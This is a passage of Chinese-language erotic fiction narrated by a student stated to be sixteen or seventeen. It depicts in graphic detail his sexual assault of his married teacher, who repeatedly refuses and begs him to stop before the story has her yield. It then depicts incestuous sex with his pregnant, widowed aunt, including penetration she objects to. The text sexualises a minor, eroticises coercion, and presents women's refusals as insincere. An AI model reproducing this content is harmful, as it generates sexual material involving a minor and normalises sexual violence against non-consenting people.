面对如此美艳动人的女教师,我每次英语课,脑海中却幻想着:讲台上花玉露短裙内那双雪白修长的美腿间夹着的是何等娇嫩的小穴,那柳腰腹下长的是何等茂盛乌黑的芳草?尤其老师那饱满浑圆的丰乳上的奶头是否红嫩如豆豆?有一回花玉露穿着丝质浅白上衣,掩不住胸前一对绷紧,呼之欲出的饱满乳峰,我不禁怦然心动,色瞇瞇的双眼目不转睛紧盯着花玉露胸部,胯下勃起的鸡巴竟亢奋得流出精液来。

我虽已有享不尽的美肉,但是还是垂涎花玉露媚艳的雪白的胴体,暗想着该如何把老师挑逗到手,以享受她成熟的肉味。淫邪的遐思使得我总是陶醉于老师的身材,成绩一落千丈,倒引起了花玉露的关切。

仲夏夜的某个週末,夜晚七点左右,花玉露来到我家的花园别墅作家庭访问,碰巧妈妈和姨妈当天都不在家,只有我闷在房间里翻阅色情小说,看得十分起劲,美艳的花玉露不速到访,使我内心喜悦不已,心想今晚必定要设法一亲芳泽,并採下这朵娇美的花。

我高兴得奉上茗茶待客:「花老师………我妈有事不在家………不知是否可以请你留下片刻………想请教英文课的问题………」诡计多端的我唯恐花玉露匆匆离去,乃企图藉口挽留之以便伺机哄骗她上床。

「好啊… 你先将今天英语课上教的文章读给我听听……」高雅温柔的花玉露啜饮了几口茗茶,竟不知自己陷入我设下的圈套,成为笼中之物,她满怀好意的答应停留些时间指点我的功课。

花玉露此时的装扮比白天课堂上端庄的仪态显得更有女人味:穿了件低领口的浅黄套衫及鲜白色的短裙,美艳得引人遐思;姣白的脸蛋、鲜红唇膏下的薄薄樱唇,红白分明,格外动人,雪白的脖子挂着一串价值菲浅的珍珠项练,薄施脂粉的她,半露着圆润柔软饱满的丰硕美乳,两颗大肉球挤出一道诱惑迷人的乳沟;雪白浑圆手臂平放书桌上,微微张开的腋下生长着浓密亮黑的腋毛真是性感,这幕情景我看在眼里,想入非非、心不在焉,口中错字连连。

「白玉………可要好好用功啰………」

「知道了。可是我最近一直心神恍惚………读不下书嘛………」我开始用言词挑逗花玉露,看看她反应如何。

「咦……你才是个十六、七岁的孩子,有什幺心愁呢……说来给老师听……」

「花老师………不论男女都会有七情六慾的………对吗………」那花玉露一听,芳心微震:这小男生怎幺了?看他长得高大健壮而出奇的早熟,莫非是思春想女人了?

「哦………说得不错…。人人是有情慾…。但是你未成年…。要好好读书才对…」

「唉…。我就是老想到男女之间的事………才会心神恍惚的………尤其是听老师的课我更心神不定了…。」

花玉露听了芳心一愣:「喔……那为、为什幺呢?……」

「坦白讲……是因为老师你长得太美艳迷人……瞧着您讲课时艳红唇膏彩绘下的樱桃小嘴一张一合,好是性感……你那隔着上衣呼之欲出的乳房更、更使人想入非非啊……」

「再者……在走廊上,您那被窄裙包裹的肥臀左摇右摆的美姿好是迷人……我、我为你癡迷……害我时常梦想着和你做、做爱………唉!…使我要手淫自慰……好难忍受的相思苦……亲爱的老师……我哪还有心读书呢………」我露骨的告白使花玉露听了如雷贯耳,想不到身为师长的她竟然会是学生性幻想的对象,她顿时芳心狂奔乱跳、呼吸急促紧张得那半露的酥乳,频频起伏!

「啊……你、你……」

我打铁趁热,随即走到她背后,双手搭在老师双肩上,小嘴贴在她的粉耳边轻浮的挑逗着说道:「心爱的老师………我深爱着你………请你帮我解决相思之苦……… 」

花玉露羞红得低下头摇了摇:[真荒唐……我、我是你的老师………年纪比你大多了……再说又、又是有夫之妇……怎幺能和你相爱呢………」

「老师………时代开放………师生恋太普遍啦………何况,我也不愿破坏你的家庭……现在我只想要和你………享受你的肉体爱…。」说完我双手从老师肩上滑向她的前胸,双手伸入老师撇露低开的衣领中,插入绣花蕾丝的奶罩内,一把握住两颗丰满浑圆而富有弹性的大乳房是又摸又揉的,花玉露好像触电似的打个寒噤,她扭动娇美身躯想闪避我的轻薄,冷不防我将头伸过去紧紧吻住她的丁香樱唇,花玉露被摸得浑身颤抖,她娇喘着斥责:「啊………不要………快、快住手………我是你的老师啊………我有老公的………不行呀………」

她的挣扎却更加深我的征服慾望,强行解去了她的套衫、奶罩,但见花老师顿时变成白晰半裸的美女,她那雪白丰满成熟的肉体及娇艳羞红的粉脸,散发出成熟女人阵阵肉香,粉白的丰乳和红晕的奶头看得我浑身发热,胯下的粗鸡巴更形膨胀,她焦急的挣扎吶喊:「哎呀!……你、你怎幺这样乱来……快放、放开我……我、我要生气了……你、你快放手……不要啊!………拜託!……放、放我回家……」

惊慌焦急的花玉露由斥责转而哀求,但我无动于衷的使出连环快攻,一手揉弄着肥大乳房、一手掀起她的短裙,隔着丝质热三角裤抚摸着圣美的小穴。

「啊!」

「啊!…」

花玉露又惊叫两声,那女人上下敏感地带同时被我爱抚揉弄着,但觉全身阵阵酥麻,丰满有弹性的白乳房被揉弄得高挺着,小穴被爱抚得感到十分炽热,难受得流出些透明的淫水把三角裤都弄湿了,我又把她的三角裤褪到膝边,用手拨弄那已突起的阴核,花玉露被这般拨弄,娇躯不断闪躲着,小嘴频频发出些轻微的呻吟声:「嗯………嗯…。」

粉脸绯红的花玉露挣扎的夹紧那双修长美腿,以防止我的手进一步插入她的小穴里扣挖,她用双手握住我摸穴的手,哀求的说:「你不能对老师无礼呀……我是有夫之妇……我不能对不起老公………求求你把手拿出来。………白玉………你放过我吧………乖………好学生………听话好吗………」

「不行……谁叫老师你长得那幺美艳……今晚我非要和你做爱不可……只要你我守口如瓶,不让您老公知道……换换口味尝尝老公以外的鸡巴有何不可……」

「白玉………你人小鬼大………太可怕了……满脑子尽想些色情………不得了啊…。」

「亲爱的老师………别说道理了………刚才你可是答应帮我解决困难的………」

「我是答应过………但不能用我的身体呀………这多见不得人的事………」

「心爱的老师……这有什幺害羞的嘛……请用你那成熟的性爱经验来开导我……让我分享做爱的喜悦以慰我对老师你暗恋之苦……好嘛!……」

花玉露闻言,芳心内又惊又喜:喜的是她三十多岁的妇人还让十七岁小男生如此迷恋着,惊的是未成年的我刚才挑逗爱抚的手法竟像玩遍女人的老手,花玉露渐渐地被我巧妙的性技迷惑了,她眼看这偌大的别墅空间,就只有她和我孤男寡女的相处一室,而我如恶狼般觊觎她的肉体,花玉露心想自己是劫数难逃了。

想起老公远在千里之外,让她独守空闺,使得成熟的她久已缺乏异性的爱抚和慰藉,只得偶而藉着手淫来自行解决生理的原始需求,缺乏男人滋润怜爱的她,刚才被我撩弄得一股强烈的快感冉冉燃生,花玉露的理智逐渐模糊了,她感觉体内一股热烈欲求正酝酿着,期待异性的慰藉怜爱,她浑身发热、小穴里是又酥又麻,期待粗长硬烫的鸡巴来慰藉充实它。

回顾我的话或许言之有理,只要瞒着老公换换口味,又有谁知道呢?花玉露眼看我虽未成年,却长得倒俊俏高大,做起爱来或许勇不可当、痛快得很,顿有了越轨偷情的淫念。但她毕竟从未被老公以外的男人玩过的,对自己身为人师,却即将和学生交欢做爱,她心中仍不免有一丝胆怯和矜持!她羞红着那张粉脸小心地试探的说:「白玉……我不信你真能明白男女性爱的真谛……你还只是个小男生………」

「哼………我才不是小男生啦……不信你看………」我说着,走到她的面前一站,把长裤拉练拉下,掏出那硬硬梆梆的大鸡巴直挺挺高翘着。

「唉呀……真羞、羞死人……」花玉露惊叫出声,她想不到我的鸡巴竟比她老公的还要粗长巨大两倍以上,心想要是被它插进娇嫩的小穴里怎幺受得了呢!花老师粉脸更加羞红:「小色鬼……丑死了……还不赶快收回去………」

「丑什幺……这可是女人最喜欢的宝贝………老师你摸摸看……」我一手拉着花玉露的玉手来握住我的热鸡巴,一手搓揉她丰满的大乳房游移不止,花玉露被抚摸得全身颤抖着,虽然她极力想掩饰内心悸动的春情,但已承受不了我熟练的调情手法,一再的挑逗撩起了她原始淫蕩的慾火。

老师终于放弃了女人的贞节,她张开樱唇小嘴伸出香舌,师生俩热情的狂吻着,她那握住我的大鸡巴的手也开始套弄着,她双眸充满着情慾需求的朦胧美,彷彿向人诉说她的性慾已上升!我看她这般反应,知道成熟,美艳的花玉露已难以抗拒我的挑情,进入性慾兴奋的状态,一把将她的躯体抱了起来,就往姨妈那充满罗曼蒂克的卧房走去,把娇美如花的花玉露抱进卧房中轻轻放在双人床上。

我反身去把房门锁好,老师那一双丰满肥大的乳房美艳极了,我万分珍惜般揉弄着,感觉弹性十足,与姨妈的丰乳不相上下,舒服极了。

性爱经验丰富的我知道花玉露是想要而又害怕,想着:「女人嘛,都是天生一付娇羞的个性,心头里千肯万肯,口里却叫着不行不可以,其实女人表里不一,就像艳丽无比的姨妈嘴说不行,到后来还不是让我玩弄有加?」那慾火高昂的我先把自己的衣裤脱得精光后,扑向半裸的花玉露身体,爱抚玩弄一阵,再把她的短裙及三角裤全部脱了,花玉露成熟妩媚的胴体首次一丝不挂的呈现在老公以外的男人眼前!她娇喘呼呼,挣扎着一双大乳房抖蕩着是那幺迷人,她双手分别掩住乳房与私处:「喔……坏、坏孩子……不、不行……求求你不要、不要啊……」

花玉露此时春心蕩漾、浑身颤抖不已,边挣扎边娇啼浪叫,那甜美的叫声太美太诱人!我拉开老师遮羞的双手,那洁白无瑕的肉体赤裸裸展现在眼前,身材曲线婀娜非常均匀好看、肌肤细腻滑嫩,看那小腹平坦嫩滑、肥臀光滑细嫩是又圆又大、玉腿浑圆修长。

她的黑阴毛浓密乌亮细长,将那迷人令人遐想的性感小穴整个围得满满的,若隐若现的肉缝沾满着湿淋淋的淫水,两片鲜红的阴唇一张一合的动着,就像她脸蛋上的樱唇小嘴同样充满诱惑。我将她雪白浑圆的玉腿分开,用嘴先亲吻那穴口一番,舌尖再舐吮她的大小阴唇,牙齿更轻咬如米粒般的阴核。

「啊……啊……小、小色鬼……你弄得我、我难受死了……你真坏…」老师被舐得痒入心底,阵阵快感电流般袭来,肥臀不停的扭动,往上挺、左右扭摆着,双手紧紧抱住我的头部,发出喜悦的娇嗲喘息声:「啊……玉儿……我受不了了………哎呀………你舐、舐得我好舒服………我要来了、就要丢了……」

我猛地用劲吸吮咬舐着湿润的穴肉,花玉露的小穴一股热烫的淫水已像溪流潺潺而出,使得她全身阵阵颤动,弯起玉腿把肥臀抬得更高,把小穴更为高凸起,让我更彻底的舐食她的淫水。「亲爱的老师……学生这套我吸穴的舌功你还满意吗……」

「满你的头……小色鬼……你坏死了……小小年纪……就会这样子玩女人……真可怕………我、我可真怕了你啊……」

「嘻嘻……好老师……,我会给你更舒服和爽快的滋味尝尝………别怕……亲爱的老师……」

「唉………玉儿………别叫我老师啦……听了真使我心里发毛………害我背夫偷情………再被你左一句、右一句的叫老师………听了使我心虚不安………改口叫我玉露姐吧…。」

我欣喜若狂:「是……心爱的玉露姐……」看来这全校最美丽的花玉露那空虚寂寞芳心,已被我撩拨得情慾高涨,相继梅子母女、妈妈、姨妈之后又将臣服在我的大鸡巴下,成为我美丽的玩物,让我欲取欲求,享用她们雪白的胴体!我手握鸡巴,先用那大龟头在她的小穴口研磨。

我一手放在花玉露的花瓣上,先用一指在挖弄。花玉露的淫水顺着我的手一股股的向外流。到目前为止,我一连接触了三个女人,这三个女人在我的心里感觉上各有不同的滋味。

我用整个手扣挖着她的花蕾,弄的她实在忍受不下去了,她才颤声娇语的说:「你...你的手...快一点...拿出来...我哎唷...快...快...我有点混身痒啊...」她说话的声音显得有点断续。

「好...好...」

我抽出湿滑滑的手指,在床单上擦了几擦,问道:「我们怎幺的用功法?」

「我们到床上去玩吧!」

「怎样玩法?」

我搂着她白白的身子,就在床上,令花玉露抬起一腿,单手握住宝剑,插到花玉露剑鞘中。

噗哧...一声。

由于花玉露的淫水四溢,故宝剑插进毫无半点难入之势,噗哧的一下,就插进去了五分之三。

花玉露浪声唧唧的说道:「好哥哥,这样玩法,难过死了!」

我那里答应,一只手托着花玉露抬起的一腿,一只手搂着花玉露的腰肢,狠命的一阵抽插。渐渐,花玉露双手抱住我的屁股,身子骨像糖一样,摇摆迎合起来。

我施展强大的体力,深刺浅出,忽慢忽急,直弄的花玉露哼声不止。

花玉露忽然娇躯一颤,牙银紧咬,像是要流出的样子,急急的喘着气,哎唷道:「亲哥...这样弄...我混身难受...哎呀...不行...我的亲哥哥...我要流...流...」第二个流字尚未音落,花玉露的身子连连打闪,双手抱得我更紧了些,臻首伏在我的肩头,真流啦!像白豆浆似的浪水,一股一股的冲过来。

「这样快!」我吃吃笑着...

花玉露有声无力的,半带娇羞的说:「那我们睡下来再说吧!」

我点点头,表示同意。我抱起花玉露,把她慢慢的放在床上,自己爬在花玉露的身上,一阵子纵挑横拨,旁敲侧击,下下根入。有时我顶住阴核,慢慢的研磨。

她躺在床上经我这阵子抽送,又掀起另一个高潮,好似骨软筋酥,她浪声娇喘的呼道:「我的亲哥哥...哎哎...快...快活...哎哎...亲哥...我简直要痛快死了...」

花玉露在下微闭双眼,瞟我一下,哼哼着说道:「亲哥...你要赶快用功...用功...哎哎...我真快...死我...我...你真好...顶住我的花心研磨..哎哎...」花玉露说着,鼓起小肚子,又流下一次淫水。这次比刚才更多,更黏糊。

我运足体能猛力的抽送着,只听见叭唧...噗哧...叭唧...噗哧...的声音,响不绝耳。一股股的淫水直向我的剑尖流去,向丹田里冲过来...

花玉露轻嗯,并不因流出淫水而减低她迎合的动作。她让我抓住她的奶子,用力的捻弄,肥大的臀部微离床舖,狠命的摇摆,娇声的浪叫!

我提足体力,力贯阳物,狠命的往里顶冲!挑拨!花玉露摇晃着身子,两手死命抱住我的屁股,好像怕走了似的,额角上现出汗珠,香髮也有点乱。导阴归阳,深深的刺,轻轻的抽,研磨着阴核慢慢收气收腹,吸收花玉露的淫津!

她又哼哼唧唧的叫起来!「我...我已经...流过二、三次...的水...哎哎...我受不了...哎哎...快一点...顶住它...哎哎...用力吧...太好了...哎哎...顶...我要流啦...流..哎嗯...好...啊...」

她全身都起了一层鸡皮疙答,不住的在发抖,浪哼!哆嗦!

我儘量的挺直宝剑,插到花玉露的花心的底端,紧紧的抱住她的身子,并吮着她的舌尖。她瞇着双眼,儘情的消受这片刻的快乐,她说不出这乐趣的滋味,却能实际的享受。

半天,她才娇喘着哼道:「我的亲哥,快点用功,不要浪费好机会!」

我剑尖抵住她的花心,慢慢的研磨着,哇口一吸一吸的竟和小孩吮乳一样,在吸真气。

花玉露送给我一个香吻之后,软语轻声的说道:「亲哥,来吧!我们一齐来干!」花玉露说罢,首先发动攻击,圆圆的肥臀,又开始晃动。

我运气完毕,见花玉露又开始晃动屁股,遂也毫不客气的晃动起来。

「哎哎...亲哥哥...不要多说话...嗯...」

「妳痛吗?」

「不...不..不痛...你狠力点...哎哎...亲哥...」花玉露狠命的搂着他的腰身,断断续续的说。

「妳真好。」我也开始用力。

「哎唷...亲哥...活祖宗...我又...我又不行了...哎哎...你真是我...我的亲哥...太会干了...我...我要流...我流了...」

「妳流...妳流...」我赶紧闭住气,抬头收腹,不敢再出声,否则功亏一溃,而不可收拾。

这一回花玉露流的淫水特别稀薄,但她所得到的快乐却比往次更大!看她欲仙欲死的样子,其实在无法形容。这一个回合下来,花玉露出水又有四次之多,而我居然没有出一次。

 

四‧姑妈 白雪

近来我的姑妈来了我家居住,她今年才三十岁,生性温柔、心地善良、与世无争、对人和蔼可亲。只可惜红颜薄命,八年前出嫁后,虽然夫妻恩爱,却一直没有生育,到今年刚怀了孕,姑丈却因车祸死了,年纪轻轻的就守了寡,对她的打击是可以想像的,她寻了一次短见,幸而被人救了未造成悲剧,两位妈妈、姨妈怕她再出差错,就把她接回娘家居住,让她散散心。

这两个月来因事过境迁,使她渐渐忘却了失偶之痛,心情也日益开朗了。她与姨妈最合得来,经常与姨妈在一起谈天,偶尔和姐姐们上一次街,除此以外都是闭户静坐,深居简出,真不愧大家闺秀。

姑妈爱穿一袭淡黄色的洋绸旗袍,长可及足,下面是平底的黑缎鞋,这是当年最流行的少妇妆束,这种轻鬆的倩影,直到如今还牢牢地印在我的脑海中。这天晚上,我来找姨妈,準备和她干上一个晚上,以安慰她这几天来的孤单空虚,也想再次饱尝姨妈的浪屄,以获得心灵上和肉体上的双重快感。

姨妈的房中只有床头灯亮着,在柔和的灯光下,一个线条优美的女体面向里仅穿着一套内衣,背朝外侧躺在床上。我轻轻地走到床边,她还不曾发觉,我一下子就扑了上去,抱住她就是一个热吻,起先她像是被我的突然袭击弄得有点惊惶而企图挣扎,但因我全身压在她的身上而无法动弹,就这样我热烈地吻着她,双手也不安分地在她的丰乳上不停抚摸,下身坚硬的阴茎也顶在她的阴部上挺动,并用身体上所有和她接触的部位在她身上揉搓着,经过我这一阵有力的上下夹攻的抚摸热吻后,她也有点娇喘不胜了。

「啊,宝贝儿,你欺负姑妈……」

这回惊惶的是我了,我张口结舌不知所答,原来这位美人并不是姨妈而是姑妈;但见姑妈杏眼含春、脸泛桃花、媚目流盼情意绵绵,虽娇羞万状,却无恼怒的样子。看来,姑妈被我挑逗得已经动了春心了,要不然,一向不苟言笑的姑妈,被我如此无端侮辱,不打我耳光才怪呢!

于是,我抓紧机会又抱住了她,一边温柔地吻着她的俏脸,一边在她耳边呢喃轻语:「姑妈,从小你就疼我惜我爱我,你知不知道我有多幺喜欢你?你知不知道我有多幺爱你?难道你忘了我捨不得你出嫁,当时还大哭了一场吗?难道你现在就不疼宝贝儿了吗?」

「我知道你爱姑妈,我也很疼爱你,本来就喜欢你,现在经你这幺一弄,也已经爱上了你,可我是一个苦命的人、不祥的女人,是一个克男人的女人,别人说你姑丈就是给我剋死的,不要让我再拖累了你,那样我的罪就更深了。」姑妈娇喘着轻微地反抗,但反抗是那样的软绵绵,更激起我对她的爱怜、更激起我的慾火。

「不,姑妈,你是个好女人,你从前是那幺疼爱我,现在怎幺忍心拒绝我呢?」

我撒娇的加紧挑逗着姑妈的性感地带。

「嗯……姑妈也不忍心拒绝你,可是,你是我的亲侄儿,我是你的亲姑妈,怎幺能做这种事呢?那可是乱伦啊!你知道吗?」

我继续吻她、挑逗她,渐渐她不再反抗了,显然,她那深埋的熊熊慾火已经被我挑起,燃烧着她的神经中枢、控制了她的身心,她已经无所适从,嘴上手上虽然推拒着我,可心里已经投降了,于是我决定採取迂迴战略,一步一步来……

「那好,我们不做那种事,只要我不把鸡巴插进你的阴道里就不算乱伦,对不对?让侄儿好好亲亲你、看看你、摸摸你,好不好?」我一面哀求着一面继续进攻。

「唉~你这孩子真是的,怎幺说话的,什幺话都能说出口!什幺鸡巴、阴道的!乱七八糟!既然你这幺爱姑妈,看你这副可怜相,姑妈今天特别通融你,就随你的便吧!」

姑妈迁就着我,答应了我的请求。其实,她的话大有语病,「随我的便」是指我提出的只亲她、看她、摸她,还是一切随我的便?是不是在暗示我可以她?

我暗想不管那幺多,走一步萛一步,反正今天我是要定了她的!

我乘机脱去她的内衣,轻轻地抚摸她全身,姑妈身形虽娇小,但曲线玲珑,凝脂般的肌肤无一点瑕疵;娇嫩结实的玉乳,因为怀孕的关係胀得特别圆大、特别挺拔。我控制不住心情的冲动,低头去吻那丰满的玉乳,吮吸那因準备哺乳而比常人略大的乳头。

只一会儿工夫,就被我吸吮得时时冒出洁白的乳汁,鲜红的乳头下缀着一粒晶莹的乳汁,看上去煞是诱人。圆圆的小腹高高隆起,下面黑密的阴毛掩盖着鲜红的阴唇,阴唇已经有些发硬发涨了,也微微张开了口,屄罅中已经流出淫水,弄湿了她那茂密的阴毛,使那些可爱的柔草紧紧贴在她的大阴唇上,也弄湿了我前去探宝的手指。我被姑妈这美妙的胴体刺激得热血膨湃,忙将自己的衣物也脱个精光,避开隆起的肚子,斜压在她那娇嫩的胸脯上,亲吻着、爱抚着。

姑妈并没有意识到她的处境已经很不妙了,可能已意乱情迷了,连我脱光衣服她都没有反应,看来已经被我挑逗得慾火如炽,慾火已经烧昏了她的头脑,只见她媚眼斜瞇,乌云散乱,樱口微张,粉面红晕,双手紧紧地搂住了我的背,双腿也来回扭曲缠捲着我的双腿,并在我耳边燕语呢喃:「噢……宝贝儿,姑妈的……下面好痒啊……」

我伸手去摸姑妈的玉户,阴户外已经全湿了,我用中指向玉洞内探去,感到她的桃源洞中正津津地流着琼浆,我就用我那根坚硬的大鸡巴在她的两片玉瓣中间来回撩动,在她的阴道口不停摩擦着,并用龟头在她的阴蒂上用力挺动,继续挑逗着她。

「噢……好宝贝儿,行了吧,别再逗姑妈了,姑妈受不了……」姑妈终于控制不住了,向我求饶了。在我听来,她这句话又有问题,要我别再逗她,是要我停止挑逗她,还是要我来真格的?女人就是这幺可爱,这幺让人难以捉摸。

我知道时机已经成熟,就将鸡巴对準她的阴道口,稍一用力,巨大的阴茎已插入一小半,姑妈一声惨叫,双手推着我喊道:「哎哟!宝贝儿,快停下,疼死我了!快拔出去!你说过不插进来的,怎幺说话不算数?我们已经乱伦了,怎幺办?都是你不好!」姑妈呜咽着,眼中流出了珠泪,不知是被我弄得疼哭了,还是被我们已经乱伦了这个事实急哭、吓哭了。

「好姑妈,不要怕,什幺乱伦不乱伦的,都是些伪君子骗人的,只要真心相爱,管他什幺世俗偏见!姑妈,我只问你爱不爱我?」

「姑妈当然爱你啦!不爱你怎会让你上身呢?可你是我的亲侄儿呀!你怎幺能亲姑妈呢?」看来,姑妈还是解不开心结。

「好姑妈,只要你爱我,我爱你,那就够了!管他什幺关係、什幺乱伦!这些都不重要,重要的是我们相爱,都互相深爱着对方!这还不够吗?」我又搬出相爱至上论、又轻轻抽动鸡巴。

「哟……先别动!唉~事到如今,你让姑妈怎说呢?事已至此,我们不乱伦也已经乱伦了,姑妈也只好豁出去了,今天就真的随你的便吧,不过,你先别慌弄,刚才真的疼死姑妈了,姑妈不行了,让姑妈喘口气吧!」

看来姑妈刚才说随我便,并不是故意暗示我可以随便她,而是被我挑逗得六神无主之下的随口而出的无意之辞、可能也有走一步说一步的意思吧。不过,在她的潜意识里,也有那种暗示的含意,她也想到了所谓的「随你便」的另一层含意,要不然怎幺会又一次说出了这个「随你便」,而且这次说的是「真的随你的便」?那第一次她说这句话时最低限度也有调侃我的成分。

我亲吻抚摸着姑妈,但刚想进一步行动,被她制止了:「你这孩子怎幺搞的,姑妈不是让你先别慌弄、让姑妈喘口气了吗?姑妈受不了,就像当年破身一样疼!你就不能轻点吗?弄得姑妈疼死了,一点都不爱惜姑妈,还口口声声说爱我呢!」姑妈娇嗔着。

「对不起姑妈,我弄疼了你,不过也不是我不爱惜你,而是我的鸡巴太大了,我再爱惜你、再轻点也不行,第一下你肯定会疼的。」我既向她辩解不是我不爱惜她,又向她炫耀自己的宝贝的硕大。

「真的吗?这幺说是姑妈错怪你了?小孩子家有多大的东西,还来姑妈这里吹嘘?让姑妈看看有多大……」

姑妈不相信我的话,说着就用手去摸我的阳具,刚一接触就惊叫了一声,接着像是不相信自己的手感,坐了起来使我的鸡巴从她的阴道中退了出来,仔细观看后大吃一惊:「怎幺这幺大?怎幺还有血?是不是姑妈要流产了?」

我也看到了鸡巴上有丝丝血迹,不由得惊慌失措,忙不迭地低头查看姑妈的阴户,只见她的阴道口上也有一点血迹,我忙伸手擘开她那两片丰满的阴唇,却发现阴道里面并没有血,血并不是从里面流出来的,只有阴道口有血迹,我忙问姑妈:「姑妈,你肚子疼不疼?里面没有血呀,只阴道口有血,是不是你的阴道烂了?」

姑妈听了,自己弯下腰低下头来仔细查看了自己的阴部,不由得羞红了脸,伸指在我的额上轻戳一下,娇嗔道:「还好意思问是怎幺回事,还说什幺我的阴道烂了。一派胡言!姑妈让你破身了!」

我迷惑不解:「什幺?我给你破身了?难道你还是处女?」

姑妈更羞了,不好意思地说:「姑妈当然不是处女了,不过姑妈也没有诬赖你,你也真的弄破了姑妈的处女膜!」

我更加迷茫了:「到底是怎幺回事?好姑妈,告诉我好不好?」

姑妈娇嗔道:「你是真不懂还是装模作样?姑妈告诉你,我不是处女是肯定的,肚子里孩子都有了,怎幺会是处女?不过因为你姑丈的鸡巴太小,所以他并没有把姑妈的处女膜完全弄破,今天被你这个大鸡巴一弄进去,姑妈的处女膜才完全的破了,刚才姑妈不是说就像当年破身一样疼?原来真的是弄得我那幺痛,姑妈还以为长时间没有让男人,才会那幺疼,没想到真是因为你的这东西太大了,让姑妈第二次破了身!姑妈什幺时候见过这幺大的大东西?见都没见过,更不要说被过了,当然适应不了,这让姑妈怎幺能受得了?你可千万要怜惜姑妈,小心点呀……」

姑妈面色苍白,香汗津津,浑身无力,瘫软地躺在床上,我既爱怜被我再次破身的姑妈,怕弄痛了她,不忍摧残她,又怕动了她的胎气,只得按捺住心性,将我的鸡巴温柔地插进去一点,然后轻轻地抽了出来,接着再送进去,循序渐进,徐徐地挺送。这样一来可又给了我另一方面的刺激:每一次进入都像开山辟石般用劲,每一次抽出也被阴道壁紧紧箍住像不能抽身。好大一会儿终于将鸡巴全根插入,姑妈被刺激得浑身狂颤,不住地大口大口喘气,我忙吻着她的红唇,把元气渡入她的口中。

「姑妈,怎幺样?现在舒服多了吧!」

「嗯嗯,舒服多了,姑妈怎幺经得起你那股蛮劲?姑妈的嫩屄又怎幺经得起你那根特大号的鸡巴那幺猛干?真怕人,那幺大!」姑妈娇羞万状地在我耳边说着。

女人就是这幺可爱,刚才她还在骂我说话乱七八糟,嫌我说鸡巴阴道什幺的,现在她自己倒张口就来,一会儿工夫就连说了两三次鸡巴,还连嫩屄都说出来了。

我温柔地抽送着,姑妈也开始轻微地挺送迎合起来。姑妈的双颊渐渐又红润起来了,淫水也一阵一阵地发洩着,熨得我浑身痒酥酥的更激起了我的慾火,我不知不觉又加快了速度,用力抽送起来。

「好小子,你的鸡巴真大,姑妈从来没被这幺大的鸡巴干过。太爽了!快用力干。」我热情的吻她的香唇,她也紧紧的搂着他的头,丁香巧送。姑妈双腿紧勾着姑妈的腰,那肥大的玉臀摇摆不定,她这个动作,使得阳具更为深入。

姑妈也就势攻击再攻击,拿出特有的技巧,猛、狠、快,连续的抽插,插得淫水四射,响声不绝。

不久,姑妈又乐得大声浪叫道:「哎呀……冤家……好小子……你真……会干……我……我真痛快……会插穴的好小子……太好了……哎呀……你太好了……逗的我心神俱散……美……太美了……」

同时,扭腰挺胸,尤其那个肥白圆圆的玉臀在左右摆动、上下抛动,婉转奉承。

我以无限的精力、技巧,全力以赴。她娇媚风骚、淫蕩,挺着屁股,恨不得将我的阳具都塞到阴户里去,她的骚水一直流不停,也浪叫个不停:

「哎呀……干我……舒服极了……哎呀……插死我了……」

「嗯……喔……唔……我爱你……我要一辈子……让你插……永远不和你分离……」

「哎呀……嗯……喔……都你……插的……舒服……极了……天啊……太美了……我……痛快极了……」

「用力……用力……哦……哦……好爽……好小子……姑妈被你干的爽死了啊……用力干……把姑妈……的肉穴……插烂……」

姑妈的两片阴唇,一吞吐的极力迎合我的大鸡巴的上下移动;一双玉手,不停在我的胸前和背上乱抓,这又是一种刺激,使得我更用力的插,插得又快又狠。

「骚姑妈……我……哦……我要干死你……」

「对……干……干死……骚姑妈……啊……我死了……哦……」姑妈猛的叫一声,达到了高潮。

我觉得姑妈的子宫正一夹一夹的咬着自己的鸡巴,忽然用力的收缩一下,一股泡沫似的热潮,直沖向自己的龟头。我再也忍不住了,全身一哆嗦,用力的把鸡巴顶住姑妈的子宫,然后觉得有一股热流射向子宫深处。

姑妈被我滚烫的精液射得险些晕过去,她用力地抱着无力得趴在自己身上的我,我的鸡巴还留在姑妈的子宫内。

狂潮之后,我边拔出鸡巴,边对着姑妈说道:「骚姑妈,你的肉穴吃饱了吗?」

姑妈抬起头,吻了我满是汗水的额头一下说:「姑妈的肉穴从未吃得这样饱过。」

「那你怎幺感谢我?」

「你要姑妈怎幺谢,姑妈就怎幺谢。」

「真的?姑妈,我从未看过女人的玉体,让我仔细看看好吗?」

「玩都被你玩过了,还有什幺好看的?」她说着,将身体横躺,让我仔细一看。

她那丰满的身段曲线毕露,整个身体隐约的分出两种颜色。自胸上到腿间,肤极为柔嫩,呈现白皙皙的,被颈子和双腿的黄色衬託的更是白嫩。胸前一对挺实的乳房,随着她紧张的呼吸而不断起伏着。

乳上两粒黑中透红的乳头更是艳丽,使他更是陶醉、迷惑。细细的腰身,及平滑的小腹,一点疤痕都没有;腰身以下便逐渐宽肥,两胯之间隐约的现出一片赤黑的阴毛,更加迷人。毛丛间的阴户高高突起,一道鲜红的小缝,从中而分,更是令人着迷。

我看到此,整个神经又收紧起来,马上伏身下去,此时的他像条饥饿已久的野牛。他的手、口,没有一分钟休息,狂吻着,狂吮着,双手也毫不客气地在她的双峰上、小腹上、大腿上,还有那最令人销魂的地方,展开搜索、摸抚

在我双手的抚摸之下,她那略显红黑的大阴唇,如今已是油光发亮了。我用手去拨开她那两片阴唇,只见里面出现了那若隐若现的小洞天,洞口流出了那动人的淫水,我一见毫不考虑的低下身去,吻着那阴核,同时将舌间伸进那小洞里去舔。

我舔的越猛烈,姑妈身体颤的越厉害,最后她哀求的呻吟着:「我受不了了,快插进去,我……难受死了。」

于是我不再等待,深深吐出一口气,双膝翻入她的双腿内,把她的双腿分得更开,用双手支撑着身子,挺着火热的大鸡巴,对準了桃源洞口,轻轻磨了一下。

姑妈知道我的大鸡巴一触到阴户,忙伸出她的右手,握着我的鸡巴,指引着我,我屁股一沉,整个龟头就塞进阴户。这时姑妈那红红的香脸上出现了无限笑意,水汪汪的眼中也露出了满足的笑容。

姑妈一见如此,更是喜不自胜,屁股猛然用力一沉,把七寸多的大鸡巴一直送到花心,我感到大鸡巴在阴户里被挟的好舒服,龟头被淫水浸的好痛快。

抽了没多久,我将姑妈的双腿高架在肩上,提起大鸡巴,对準小逼「滋」一声又一次全根尽没了,「卜」一声又拔将出来。

就这样「卜滋!卜滋!」大鸡巴一进一出。

果然,这姿势诚如黄色书刊上所说,女的阴户大开、阴道提高,大鸡巴可次次送到花心底部;同时男的站立,可低头下视两人性器抽插情形。我看着大鸡巴抽出时,将白雪姑妈的小逼带着穴肉外翻,份外好看;插入时,又将这片的穴肉纳入穴内。

